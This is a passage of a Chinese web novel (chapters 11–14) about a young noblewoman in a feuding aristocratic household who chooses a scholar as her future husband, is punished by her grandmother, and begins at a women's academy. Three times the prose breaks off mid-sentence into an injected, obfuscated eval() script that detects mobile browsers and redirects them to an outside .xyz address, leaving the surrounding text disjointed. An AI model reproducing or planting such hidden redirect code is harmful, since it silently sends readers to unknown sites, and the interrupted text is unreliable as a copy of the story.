商凝语却觉得未必,却不想和阿娘无谓地纠缠这个问题,她这次直奔心意, “可我想和阿娘一样,找个能和夫君并肩的人。”她索性抱住田氏的胳膊,道:“这些京城子弟非富即贵,诚如阿娘所说,他们会因相貌对我刮目相看,待日后相处久了,或许能因知我懂我对我情根深种,但无论是哪种,他们都不会允许我与他们并肩。” 田氏茫然:“怎会?” 商凝语只反问一句,“阿爹现在在外面做什么,阿娘您知道吗?” 田氏一愣,她哪里知道?自从夫君回到京城,他忙碌的事就与她无关了,一切都有公爹和大伯去打理交涉,她已经完全身居内宅,做个贤良内妇。 “这不好吗?这可比以前轻松多了。” “那是因为阿爹和阿娘相知相守十几年,情比金坚,无人可替!” 11. 第 11 章 商凝语总结,语气里不忘哄一下阿娘。 “难道要我嫁给一个纨绔,每日提心吊胆,既不知他去了哪里,也不能与他知心相交?” 田氏:“感情是可以培养的。” 商凝语却早有主意:“我在他们眼里就是野山花,想要培养感情,那我需要花费多大力气?难道阿娘想让我一辈子就吊死在一个男人身上?” 田氏气噎,却又无可反驳,半响,问:“那霁哥儿就能了?” 商凝语重重地点头,道:“能!” 田氏望着她。 她说:“霁哥哥将来科举入仕,凭他家世,便是有阿爹祖父帮扶,当然,祖父不一定会帮,但是霁哥哥一时半刻不会滞留京城,他如果外放,我可以陪他一起去。” 她目光灼灼,看着田氏,道:“霁哥哥心系黎民,单念民胞物与这份心,非纨绔子弟可比。我可以陪他共赴外任,堪察民情,于乡野扶犁促耕,推广良种佳穗使仓廩充盈;兴建水利陂塘,疏浚河道以防洪抗旱,保一方安居乐业,我还可以为他整理卷犊,走访闾巷抚慰鳏寡孤独,助他兴办义学以使寒门子弟得沐教化。” 田氏被镇住,双眼圆瞪。 商凝语抱着她的胳膊,鬓角贴在她的肩上,直到将她的态度软化。 她羞涩又不失憧憬,如江南小女儿般情态,吴侬软语,“他若减赋赈灾,女儿便筹粮施药,他若劝课农桑,女儿便传授织技,虽风尘仆仆,有些劳累,但若能见到,他鞠躬尽瘁能换得路不拾遗、百业俱兴之象,女儿会心感自豪,心之所累,物超所值,便不会觉得累。” 见田氏愁容满面,她索性多说一些更有说服力的话。 “近日我见过两次世面,无论是皇亲国戚堆叠的宫宴,还是世子女娘聚拢的马球会,我瞧出了一件事,这雕栏玉砌的伯府之于平凡百姓,便如他们之于我们,都是高不可攀。” “祖父祖母不惜接纳我们也要让阿爹回京,是要保伯府荣华富贵永存,可见,就算四姐姐嫁给太子作侧妃,也不能真正令祖父祖母安心,非要一个有实力的后生掌管家事。” 她惑道:“阖府荣耀长存,既要有贵戚连襟,也要有实力匹配,可是,嫁给那些高高在上的子弟,便要被埋没在后宅中。我们家,上有四姐姐牵系东宫,中有阿兄科举入仕维持兴盛,难道唯有我,要做那无用之人?” “与其嫁给纨绔子弟,一辈子被莫名高人一等的阿婆阿嫂磋磨,不如嫁给学识渊博潜力无限的士子,霁哥哥正需要阿爹阿娘的帮助,我又有阿兄作依靠,大可以为这辈子拼博一把。” “便是阿爹阿娘,出门在外,谁还敢笑话?等将来霁哥哥政绩卓绝,深得百姓爱戴,于家世,咱有东宫作靠山,于实力,哥哥勤学苦练,必能功成名就,于名声,你们慧眼识珠,到时候,谁不艳羡你们,三个儿女各个都是精兵强将?” 一番针砭时弊,将田氏震得一愣一愣,既觉得她在天方夜谭,又觉得,好似有那么一点道理。 女儿如此有主意,她忽然也觉得,让她嫁给纨绔子弟,确实委屈她了。 转念一想,不对啊,谁道那些人就是纨绔? “品学兼优的世家子弟,谁会愿意娶我这么个家世不显又不学无术的小女娘?”商凝语一语切断幻想,田氏顿时又被打入幻梦中,半响,妥协道:“此事我还得跟你阿爹商议,婚姻大事,岂能容你自作主张?” 商凝语心喜,点头如捣蒜,将一夜深思仔细回想,发现又有一点遗漏了。 许久之后,母女二人之间,气氛温馨。 窗外的树在风中摇摆,她盯着擒风不定的树梢,轻声道:“阿娘,我在乡间玩耍的时候,时常会听到别人闲话,怜惜阿爹只一个儿子支应门庭,我便是想,若我是男儿,该怎样做?” 眼见田氏心绪激动恨不得立刻回岭南兴师问罪,她赶紧补上一句,“我就是想顺着这个思路反驳他们,没有当真。” 天高皇帝远,田氏鞭长莫及,只得深深卸了口火气。 商凝语继续道:“男儿可以上阵杀敌建功立业,但我见血就怕,上阵杀敌便只有兄长,阿娘必是不舍。男儿可以科举入仕,我可以和兄长一起争取功名,那然后呢?争取功名一是为光宗耀祖,二是为造福百姓,若只为这两点,我虽是女儿身,也可以另辟蹊径,同样做些力所能及之事。” 田氏的心软成一滩水,原以为她成日没心没肺往田间跑,是散漫惫懒,而今才知晓她这心思这般重,竟操心起大人的事来,有哪家小娘子,像她这般敏锐? 田氏愁道:“可减赋赈灾、劝课农桑从来不能一蹴而就,霁哥儿还有兄嫂,你辛苦不说,只怕竹篮打水一场空,贫贱夫妻百事哀,到头来,霁哥儿还要怨你。” 商凝语舒心一笑,亲昵道:“这个不怕,我会跟霁哥哥约法三章,凡是他家的事,都得他亲自做主,我只从旁协助,唱台搭戏,做个配角就好。” “哪有说得这般轻松?”田氏深叹一口气,却也知晓,女儿已经大了,凭她已经无力反驳,且让能言善辩的夫君来吧。 谁知,商晏竹回来后,一句话就给问题打发了。 待女儿离去,夫君商晏竹从书房回屋,就见田氏愁容满面,连去给母亲请安都忘了。 他见了见天色,觉得虽比往日迟了些,但距离原定请安时辰还有半炷香时间,再等片刻也无妨。 他回到内间,吩咐田氏帮他找一件干净衣裳,将方才不小心打翻墨汁沾湿的衣衫换下来,田氏一边服侍,一边盯着他白皙俊颜,倏地发现,女儿那娇小可人的面容和他这不苟言笑的表情,竟如出一辙。 田氏闷着脸,将女儿的话原封不动地复述一遍,临了才表达了自己的意思。 “我看是被人欺负了,但毕竟是国公府办的球会,我若去问惠姐儿,肯定不合适,你去跟门房车夫打探一下,看昨日可有什么不妥的地方。” “等会问问言哥儿便是。”商晏竹微微仰头,任妻子整理领口。 田氏冷哼,“臭丫头不肯说,你当臭小子就会说?两人穿一条裤衩,甭想听二话。” 商晏竹对妻子一烦躁就口出粗鄙的言语行为早已习惯,笑着劝她,“你也别担心,她呀,记仇得很,若是吃了亏,肯定要还回去再来跟你炫耀一番。没跟你说,或许是没受委屈。” “没受委屈会来跟我说这么一大段?” “那是因为她先前迷糊着,眼下想明白了,才来糊弄你。”商晏竹穿好衣裳,浅笑言谈。 “什么意思?”田氏还莫名着。 “她行事谨慎,不知则不动,谋定而后动。”商晏竹点拨,见妻子依旧茫然,倏地一笑,道,“走吧,该去给母亲请安了。” 父女两一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362101|183732||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个赛一个,田氏觉得自己高攀一点不假。 出门前,商晏竹说:“赶明儿霁哥儿到了京城,我给他安排进国子监听学,习艺馆隶属国子监门下,婚事不急,你可以再看看。” 田氏愁绪顿时烟消云散,什么纨绔,两方放在一起对比,才能真正分辨得出好赖坏。 日暮降临,红霞满天,连天边的大雁都染上了绯色,在空中排成两条线。 商凝语依旧去燕拂居等商明菁,她脚步松快,一步一跳地去往燕拂居,墙角绿枝停了一只雀儿,蓦地受惊,振翅远飞。 到了燕拂居,却被洒扫侍女告知,五娘子不在院子里。 商凝语笑容微滞,但异样情绪一扫而过,道了句“好的”,转身便一蹦一跳地离开。 她心情好就想唱歌。 “东山日头西山藏,雀儿雀儿心亮堂,草儿露儿你莫慌,来日我照旧啄你到天亮,啦啦啦.....啦啦啦......东边的你呀,西边的我,一起来唱歌......” 清亮的嗓音跳跃着传来,侍女连忙垂首行礼,待人走过,相视一眼,一人惊奇道:“七娘子怎么转了性子?” “嘘,快走。”另一人道。 点翠扶额,“娘子,小声点。你就不生气吗?五娘子一声不响地就抛下我们,枉我们从前等她这么多回。” 商凝语嬉笑:“无所谓,五姐姐昨日吃了闭门羹,近日给我吃个,礼尚往来,不算委屈。” 路边名花野草长得茂盛,伸出修长枝丫,她五指舒张,一排排扫过,犹如秋风席卷,绿枝黄蕊万杆斜。 点翠抱屈,“那又不是我们的错......” “四姐姐。”商凝语打断她,朝前方喊道。 商明惠主仆二人一同走来,眼见这二人,云锦眼里露出得意,一脸好戏地睨着点翠,点翠莫名所以,商凝语则已经冲到商明惠面前,喜道:“四姐姐,我们一起。” 商明惠面容姣好,好奇道:“你唱的什么歌?是岭南俚调?” 商凝语娇俏一笑,屈膝福下一礼,道:“小妹知错,自编自擂,难登大雅之堂,误了四姐姐双耳。” 虽是道歉,确实俏皮可爱,那声音熟稔随意,甚至有点拿腔作调,再无从前小心拘谨,仿佛她们相识多年,是从小一起长大的姐妹。 云锦错愕,仿似第一日认识小娘子。 这,这......还真是无耻! 商明惠也瞬间晃了神,认真看了眼忽然变得古灵精怪的妹妹,心头划过一丝异样。 她神色淡然,诧异只在一瞬间,浅淡亦犹如蜻蜓点水,反而更是在意内容本身,须臾,嘴角微勾,评价道:“宫商婉转,平仄相谐,编得不错。” 商凝语盈盈笑了起来,“我就知晓四姐姐喜欢,以后经常唱给你听。” 说得仿佛她们有多熟一样,殊不知,她至今都未能踏进梨棠院一步。 云锦悄悄翻了个白眼,暗自腹诽。 二人不急不徐到了观鹤堂。 商凝语脚步跨进门槛,见到里面正襟危坐之人,嗯,今日不知什么日子,一个两个的都拿看戏的眼神看她,不知道的还以为她真搭了个戏台子。 便在这时,忽听一声厉喝,“小畜生,还不跪下。” 她茫茫然,抬头却见祖母眼神犀利,恨不得拆吃入腹地怒视着她。 12. 第 12 章 商凝语立在堂中,众目睽睽下,她脸色发白。 商明惠眼里只流出些微诧异,便福礼,得到老夫人一句慈和地“你过来”,不作一丝停留,在惯常的座位前坐下。 田氏浑身一震,生硬地挤出一丝微笑,道:“母亲,呦呦做错了什么,惹您生这么大的火?” 明明方才还好好的,夫君与她前来时,老夫人还嘘寒问暖,特令夫君和大伯一起去书房,到公爹跟前听训。 老夫人盯着商凝语,面容冷厉,沉缓道:“我教你谨守本分,恪守规矩,出门在外,莫要给伯府丢脸,你竟在众目睽睽下,招勇毅侯世子贬斥,叫你两个姐姐都跟着你丢失颜面,你还不跪下!” 商凝语秀眉微蹙,那本就是一句戏言,谁会无聊状告到祖母跟前去? 她目光微移,凝聚在商明菁身上,问:“五姐姐,是你跟祖母说的吗?” 商明菁垂着眼睫,不说话。 商凝语目光渐冷,死死绞住商明菁的面容,拇指深深地掐进食指肉里。 商明菁脸色渐白,贺氏眉眼冷肃,道:“放肆,你如此质问亲姐姐,置你祖母于何地!” “大嫂,你别生气。” 田氏接二连三被怔住,她乍然听到婆母说勇毅侯世子贬斥幼女,心头一震,正不明所以,就见幼女质问侄女,心中便道不好,主意还未成型,却又听妯娌当众怒斥。 情状几转,她来不及思索,只得起身先道歉。 商凝语见状,眉头微动,神情一冷,快步上前,跪在了田氏脚下,道:“是我错了,请祖母责罚。” 她跪的地方,恰好在田氏脚边,挡住了她的落膝点。 田氏一愣,跪下的姿势顿住,改为扶她起身,却被她不轻不重地推回座椅上。 田氏惊慌失措,须臾,只得先认错,道:“母亲,呦呦不懂事,儿媳回去定好好罚她,您......息怒。” 老夫人见商凝语垂首,模样看上去十分恭敬,面色稍稍回转,道:“她受你教养十多年,而今长成这个性子,与你脱不了干系。” 商凝语咬紧牙关,眼底冷若冰霜。 田氏面色羞红,诺诺道:“是,儿媳认罚。” 老夫人心头的气烟消云散了,淡淡道:“你们母女二人,今日回去,禁闭思过,语姐儿,罚抄五遍《心经》,在入习艺馆之前,就不要再出门了。” 这,罚的未免太过。 田氏一滞,目光艰涩望向侧方,却见幼女眼睫微润,温顺道:“是,孙女谨遵祖母教导,定下不为例。” - 商晏竹沉着脸从老伯爷的书房出来时,已是月上枝头,各路檐下陆续挂起了灯笼。 在半道上,他从随从口中得知在观鹤堂主屋发生的事情,眉目沉凝,片刻后,又改道折回翠竹堂,吩咐侍女去梨棠院将长女请来花厅。 而翠竹堂正屋里,商凝语絮絮地,也将昨日发生的事情告知了田氏。 田氏听完,惊怒,“你一句话没说,那世子就栽赃给你!这是吃饱了撑的?未免欺人太甚!” 商凝语点头,语气平和,“人家家世很大,在场无人敢驳,也就程家表姐敢反驳一句,替我解了围。” 田氏又惊又怒又不可思议,怎奈女儿说得对,人家家世很大,只能任由欺负,末了,无可奈何地感叹一句:“这京城的子弟,也太过嚣张了。” 又道:“这菁姐儿也是,不帮着自家姐妹,倒是趋炎附势,帮助起别人家公子,说出去不怕遭人笑话,失了名声。” “所以啊,咱们伯府爱惜名声,都是待价而沽的,”商凝语趁机道,“阿娘,我正要和你说,你也别老是屈就大伯母,今日你也瞧见了,你就是一忍再忍,关键时候,她也不会帮咱们,只会落井下石。” 田氏一脸惭然,“我也没想让她帮我,都是孝敬你祖母,她掌管中馈,整日忙得很,我就想多在你祖母跟前伺候,阖府和和气气的。” 商凝语却道:“可我瞧着,大伯母乐在其中呢,不信你去问问,看看大伯母愿不愿意叫您替她分担中馈?” 田氏没好气地瞪了眼女儿,她就是再傻,也不会去做这种事。 不过,经女儿这么一提醒,她明白其中意味来。 几番言语,商凝语心头怨怒俱消,心平气和地和田氏说起正事。 “大伯母有歇晌的习惯,我仔细盘算了下,若是按照祖母用膳的速度,大伯母一天可管不了这么多事,但点翠去打听过,府里上上下下对大伯母的管家手段一致称好,这可能吗?合着你每天这么侍奉祖母,都是白忙活?” 田氏震惊。 商凝语点头,让田氏没有理由可替说,“我们初来乍到,大伯母久居府邸,祖母亲近一些也是人之常情,但我们可不能一直任由拿捏。阿爹留京待职,我们若是一味退让,只会让阿爹为他人做嫁衣。” 田氏回神,“那可不行。” 商凝语点到即止,不再多说,端着茶水压了压嗓子。 田氏心中仍是一团浆糊,叹道:“你自己的事还未解决,就来担心我的事。” 商凝语笑得甜腻,“我的事我已经解决了,抄几本《心经》而已,能解决的事就不用担心。” 田氏听这语气不对,面上犹疑,忽而惊呼:“所以,你突然说要嫁霁哥儿,是因为这个?” 眼见商凝语怔愣,又气又恼地戳她脑门,“有事不跟阿娘说,就敢自作主张,你祖母说的没错,都叫我给惯坏了!” 商凝语揉着额头,一面躲闪,一面道:“不是的,我就是觉得这京城里都是徒有其表的人,不及霁哥哥务实半分,这才确定要选霁哥哥。” 田氏气恼参半,许久,深深地叹了口气,道:“这些子弟,在长辈面前端几分架子,私底下竟如此不堪入目,罢了,就依你。” 商凝语眼睛一亮。 田氏认命道:“你阿爹在国子监谋了个空席,待霁哥儿到了京城,就让他和你一起,去官学游读。” 商凝语大喜,眼眶瞬间爬上热意,“谢谢阿爹,谢谢阿娘。” 田氏搂住幼女的身体,面上露出舒心的笑容。 - 从主屋出来,商凝语就想着两件事,一是要向阿爹表示感谢,二是去向商明惠道歉,她没有想到那紫衣世子不可一世的一句话,会令商明惠名誉受损,经老夫人提醒,才想起来。 出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362102|183732||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了门,听侍女说,商明惠来翠竹堂了,正和商父在花厅用膳,她便折身去了花厅。 厅院清寂,花厅的屋檐下,灯笼轻摇,侍女端着残羹冷炙鱼贯而出,最后一名侍女临走时,还顺势阖上了双门。 身影尚在昏暗阴影里的商凝语脚步一顿,她四下环顾,鬼使神差地,蹑手蹑脚回到侧面的窗扉下。 屏气凝神。 商明惠面色清冷,待到商晏竹放下茶盏,才说出今晚见礼问安后的第一句话,道:“您唤我前来,所为何事?” 父女两相貌有几分相似,连神情也透着一致,商晏竹道:“宫宴那日的事,我已经知晓了。” 商明惠眉眼漠然,闻言,表情没有一丝变化,道:“此事已了,您不必担心会影响您留京职位。” 商晏竹眼神明显怔忪,须臾,心绪尽敛,道:“听说昨日马球会,太子也去了,你二人可有见过?” “见了。” “太子......执意婚事?” 商明惠凝眸,奇道:“他为何不?” 商晏竹沉吟不语,须臾,又问:“那你呢?你现下如何作想?是真想做这个侧妃?” 商明惠垂眸,蝶羽般的眼睫遮住眼底的讥诮,道:“祖父应该都与您说了,您又何必再来问我?” 商晏竹却再次摇了摇头,道:“你祖父的话,我一个字也不信,我只需你亲口告诉我,你现下究竟如何作想?” 闻言,商明惠眼神有一瞬间流出茫然,片刻后,她回神道:“您多虑了,我......” “谁!”商晏竹一声厉喝,走到墙边,打开窗棂。 商凝语暗怂地松开断枝,抬起白净小脸,朝商父露出笑容,唤:“阿爹。” 商晏竹瞪她一眼,呵道:“进来。” 商凝语拍了拍身上沾上的枯枝叶,着点翠在院中等候,驱着缓慢的步伐推门而入。 守在院中的云锦横了一眼点翠,重重地嗤了一声。 商凝语尴尬地朝商明惠笑了笑,商明惠倒是什么异色也没有,一如既往地朝她冷淡点头。 商晏竹冷声道:“你不回屋,鬼鬼祟祟,躲在窗下听什么?” 商凝语掀了眼皮,在父亲和嫡姐面上各溜一圈,惴惴道:“宫宴的事,我也看到了。” 商明惠秀眉一扬,这才正眼看向她。 商晏竹却没有意外,神情冷肃,道:“既是见到了,回来了也不说?叫我才是最后一个知晓此事的人。” 虽然阿爹眉眼清冷,言辞并不曾肃厉,但商凝语却从其态度上猜测,阿爹已经动了真怒。 她心中忐忑,在田氏跟前的从容一扫而空,弱弱道:“我以为,四姐姐已经解决了,就不便再伸张。” “说与为父,也是伸张?” 商晏竹皱起眉,沉声道,“你不爱多管闲事,但也该知晓轻重,事关太子和你亲姐姐,不明所以情况下,理应告知家中长辈,由长辈定夺,而不是自作主张,欺上瞒下。” 商凝语本就犹疑,听完,更是惶恐,感觉自己闯了大祸。 这时,商明惠蹙眉,不耐道:“她这我行我素的性子与您一脉相承,您又凭何苛责她?” 13. 第 13 章 夜色如墨,只剩夜风清徐。 商凝语躺在床上,目光盯着黢黑床粱,双目放空。 只有夜深人静时,她才能安静地琢磨商明惠那句话。 古人云,事父母几谏,见志不从,又敬不违,劳而不怨。劝谏不从,理应保持恭敬,不可冒犯。 面对祖母的不慈,她尚且不敢造次,四姐姐竟就这样顶了阿爹。 而且......是为了她。 看来,她和四姐姐都很像阿爹呢。 乱花迷人眼,但在纷纷扰扰的靡艳花丛中始终有一条曲幽小径,即便路边荆棘丛生,也无畏无惧。 不同的是,她还在摸索小径通往的方向,而四姐姐已经寻到了在这府邸乃至京城的立身圭臬。 她心情愉悦地入了眠,一夜酣睡,翌日起,禁足正式开始,眼下距离习艺馆开学还有八日,她只有两件事可做,一是抄写经书,完成祖母的处罚,二是温习巨著《天工开物》。 这是一本最适用于民间农作工种的书,前年,她心中对未来有了雏形,央求商父替她寻一本能物至其用的书,商父就从书房挑了这本给她。 书中多是艰涩悔语,起初她读起来很是艰难,后来走访民间,多学多问,如今倒也知晓了其中各名器的厉害之处,去年,她福至心灵,对榫卯改造一事产生了浓厚兴致,更在家中打造了一些奇巧玩意儿。 年初归京,她的人生斗转星移,无奈之下只得将这门手艺藏于书下,而今峰回路转,爹娘已然答应她的亲事,她自当重拾旧爱。 与阿娘所说的豪言壮语,并非徒托空言,她有信心并且有计划的充实自己,以为将来,成就更好的自己。 时间充裕,用过早膳,将书案推至窗前,窗棂大开,秋高气爽,她吐纳呼吸,待心中安定,才着点翠研磨,提气下笔。 - 时光如水流逝,很快到了解禁日,这日一早,商凝语带着点翠,端着三本手抄本前往观鹤堂,一入堂内,就见商明菁端坐在贺氏身边,正与老夫人谈笑风生。 见到她,几人脸上笑意微顿,商明菁更是露出一丝恍然,似乎已经忘记府里多了一个七妹妹。 商凝语面上笑容不变,跪到老夫人面前,叩首道:“依祖母言,孙女罚抄完毕,请祖母过目。” 静立一旁的嬷嬷接过她手中抄本,送到老夫人面前,老夫人随手打开一看,目露诧异,继续翻阅,眼底的赞赏不经意间流露出来。 “不错,字迹清秀,纹丝不乱,可见你这几日的确做到了沉心静气,修身养性。” “祖母教诲,孙女不敢不从。” 老夫人心中不满减退,道:“明日进馆,亦要谨言慎行,先起身吧。” “是。” 商凝语依言起身,提心吊胆的田氏这才松了口气,将她安坐在自己身边。 老夫人又道:“往后就和你姐姐们从前一样,上学时免去晨省,下了学,再到我这里说说馆里的事。” 商凝语再起身,应了声:“是。” 商明菁见她如此温顺,展颜一笑,“七妹妹,你对馆中不熟,稍后我去兰馨院和你说道说道。” 商凝语掀眸,用一双清亮的眼盯着她。 若说脸皮厚度,岭南那些风吹日晒的粗野女子都不如眼前这位。 她嘴角微勾,道:“好。” 商明菁眼中得意,转头对老夫人道:“祖母,您不知晓,馆中有的先生可严厉了,惯会使用尺条,我去和七妹妹说说,免得她被先生责罚。” 老夫人嘴角露出笑意,嗔她道:“你七妹妹已经变得乖巧懂事,你离馆一年,礼仪疏漏,可莫要诓骗她。” “怎会?”商明菁不满,即便是娇嗔耍萌,也依旧不失温雅。 老夫人笑呵呵起来,“行行,你去吧。” 商凝语嘴角含笑,看着祖孙二人旁若无人的耍宝,她眼角微凝,注意到静坐在老夫人身边的商明惠。 每次请安,商明惠都这个神态,不骄不躁,不嗔不怒,满府中,她对谁都冷淡,唯有对祖母,稍显柔和,但又亲近不足。 侍女进来传膳,商明惠率先起身,向老夫人辞行,商明菁看着商凝语,商凝语则等着瞧贺氏反应。 很好,贺氏没有再借由遁走,可见,阿娘将她的话听进去了。 出了门,商凝语快步朝梨棠院追去,不料从侧影里现出一人,叫道:“七妹妹,我在这儿呢。” 是商明菁。 商凝语曾想,若是当初投胎生错了人家,入了商户门,定也不会为吃穿发愁,因为她生来就有一颗精打细算的心,锱铢必较是她的本性,做不到以德报怨,宽容忍让。 此刻她就很烦商明菁。 “五姐姐。” 最后一次机会,希望能带来家和万事兴。 可惜,某人不从。 商明菁款款走来,面上带着笑,道:“我正要去寻你呢,走吧。” 商凝语避开伸过来的纤纤玉手,错开一步。 她似笑非笑地睨着商明菁,道:“这京城,七妹妹我的确是初来乍到,有许多地方不懂,但我知晓礼义廉耻四个字怎么写,五姐姐会写吗?” 商明菁神色几不可察地一僵,继而温声道:“我知晓你对我有些误会,但我也是为了这个家好,你以后就会明白的。” “为何要等到以后?现在不能说?”商凝语挑眉,问。 商明菁神情凝滞,眸中微寒,“做人留余地,你也参加两次京中盛会,这个道理不懂么?” 商凝语嗤笑:“留余地?给谁留余地?你在祖母面前编排我的时候,可没有给我留余地。” “我......” 商凝语抬手,制止她的话,道:“都怪我这段时日压制得狠了,所以才让你以为我软弱可欺。你说的没错,做人留余地,我愿意留,但也要看你留不留,我现在见到你就会想到茅厕的蛆,看到你两面三刀的样子就浑身难受,所以以后,我们就做个貌合神离的伯府娘子得了,千万别再靠近。” 商明菁脸色难看至极,咬牙道:“你非得如此说话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362103|183732||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗?目无阿姊,口出恶言,就不怕祖母怪罪吗?” 商凝语笑了,“商明菁,你还真是蠢者见蠢,你不会认为,我以为祖母罚我是因为与你不合吧?” 商明菁静默。 商凝语眼神不屑地在她面上溜一圈,抬起下巴,道:“点翠,我们走。” 商明菁气得浑身发颤。 京中贵女向来讲究明争暗斗,别苗头也是绵里藏针,论这种阴亏,她不知给多少人吃过,就是商明惠,也是打落牙齿和血吞,她何时被人说过如此粗鄙无礼的污言秽语! 但她很快找回气势,倏地转身,扬声道:“在京中待了几日,参加了两次宴会,就把自己也当作正经贵女起来,学着四姐姐特立独行,也不怕东施效颦,再惹出笑话!” 商凝语失笑,也转过头来,道:“你还是管好自己吧,马球会上出丑的可不止我一个,你要是再招惹我,我就去祖母面前分说,那么多贵女说的话,我可以一字不落的转陈给你听。” 语毕,头也不回地离开。商明菁面色铁青,望着尽头石榴树,眼底浮起一抹愤懑。 - 翌日,入习艺馆,商晏竹亲自送商凝语去往习艺馆见馆主。 上了马车,马车橐橐前行,商晏竹一路叮嘱,商凝语一面仔细聆听,点头称是,一面觑商父神色。 上次那晚,四姐姐解围虽令阿爹神色有一丝难堪,但转瞬即逝,阿爹并未继续责骂她,而是顺着四姐姐的话沉默自省,她将这种沉默解读为愧疚。 商晏竹只是将馆中教习内容以及大体的注意事项告诉她,说完后就见她眉眼坦荡,无怯无惧,他倏地顿住,神思微凝,继而展颜轻笑。 商凝语亦笑,“阿爹,你放心吧,我不会闯祸的。” 商晏竹点头,道:“有事记得跟家里说。” “是。” 她答得干脆。 她看得出来,阿爹想弥补四姐姐,但不知从何下手。 都是一家人,她想帮阿爹,阖家团圆。 - 习艺馆隶属国子监,修建得宏伟气派,是开国伊始,太祖为最疼爱的公主设立的一所女子学馆,后来学馆广招京城各大世家贵女,学馆意义逐渐有了变化,不再是皇家专宠,而是各官宦女娘的镀金之地。 馆内设立琴、棋、书、画四大主类,又以点茶、插花、调香等作为次类,品类繁多,意在修身养性,再设立国学课程,主讲女诫女训等书,规训女子得、行、工、容。 国学课程自是每个女子都要学,缺一不可,但修身养性类,却可以从中挑选一主二辅,主类,商凝语直接选择了书一门,二辅,她犹疑不定,商父替她做主,选了前三门。 在入馆前席,商晏竹目送幼女离开,与馆主客套一翻,才施施离去。 商凝语带着点翠,跟随馆中女童到了馆院后,出了影壁,绕过曲折回廊,只见屋舍绵延,直至掩藏在尽头庭院,屋舍下,山石林里,曲水玲珑,一眼望去,看不出一丝书院的严谨肃穆,反倒增添了许多舒心惬意。 14. 第 14 章 习艺馆宏伟气派,半无虚言,仅前院正式授课的教室,就有四五十间,排排相连,依山傍水,极富风雅。后院又设课后温习处,三步一角亭,五步一阁楼,女童说,馆中一天只有巳时未时两课,其余时间,可寻阁楼或凉亭独自练习。 商凝语暗暗乍舌,跟在女童身后,默默数了数亭阁数量,竟有百余间,隐隐数不过来。 在亭阁后,还有屋舍供用歇息,若是研读忘了时辰,可在馆中留宿,馆内森严,既是留宿,必要按照教习规矩严格遵守。 艺馆共有五个门,分别为东、南、西、北、中门,唯有北门连着更为宏伟的国子监,一圈参观完后,便已是下学时候。 伯府小厮先去国子监给一早入学的商凝言送吃,商凝言清晨入学早,知晓商凝语今日入学,心中早就挂念,此刻跟随小厮一同前来艺馆。 大盛朝民风开放,男女大防并不苛刻,时常有女子去国子监求学问名,亦有男子来习艺馆品鉴歌舞声乐,行至路上,时常会见三两男子擦肩而过,俱是颔首作揖,谨遵学礼。 艺馆外亦是亭阁错落,便是最荒芜的地方,也有圆桌圆蹬以供休息,卵石铺路,步甸陈列,换下一身白底粉条修边的学士服后,商凝语走到半道迷了路,寻人问过才找到这里。 兄妹二人在石墩前对坐,商凝言询问她馆内是否适应,是否认过同门,她一一作答。 这时,前方走过来一对兄妹,看衣着,女子也是艺馆学生,看势头,二人正在争吵。 白璎珞脚步飞快,攥着手里的东西直奔习艺馆北门,却被人拽住衣袖,眼见逃不过,她拼着全身力气,将手中东西撕个粉碎。 面色愤恨,“我就是撕了,也不给你。” 白池柊仓惶伏在地上,意欲捡起碎屑,然而,白璎珞愤怒之下使了全力,便是真的捡回,也是明华残卷。 眼见拼凑不齐,精心画作付诸东流,他目眦欲裂,扬起五彩缤纷的大掌,怒喊:“白璎珞!” 白璎珞丝毫不惧,下巴高抬,甚至将半边脸凑到他掌掴下来的最佳位置。 白池柊双目圆瞪,两人对峙半响,须臾,他眼里隐隐有晶莹闪烁,终是不甘,放下手跑了。 白璎珞有瞬间的怔忪,继而哼的一声,俯身蹲下,将碎屑一一捡起。 商凝语从食盒中抬头,觑了眼兄妹二人,见离去之人有点面熟,踢了踢商凝言,问:“那是不是你同窗?” 商凝言回头望,面露惊讶,介绍道:“是祭酒大人独孙。”说完,又补充一句,“便是他介绍我入了老大人门下。” 商凝语点头,表示了解了。 树影婆娑,在兄妹二人身上留下斑驳光影,风一吹,一张半掌大的纸片连翻带滚,卡在银线勾丝粉底锦鞋与石壁想贴的缝隙里,商凝语好奇,执起来看。 颜料晕染,寥寥几笔,勾勒出一个奇怪模样,再反转一看,竟像是......一片修长的锁骨? 白璎珞立在石礅前,伸手讨要,“二位,能还给我吗?” 商凝语抬眸,对方容色轶丽,眉染轻愁,耳尖却晕了一抹可疑的酡红。 她不动声色地瞟了一眼商凝言,将纸笺递给白璎珞,道:“不好意思,不小心捡到了,还你。” 对方并未怪罪,胡乱地点头,接过东西,道一句:“谢谢。”转头消失在北门里。 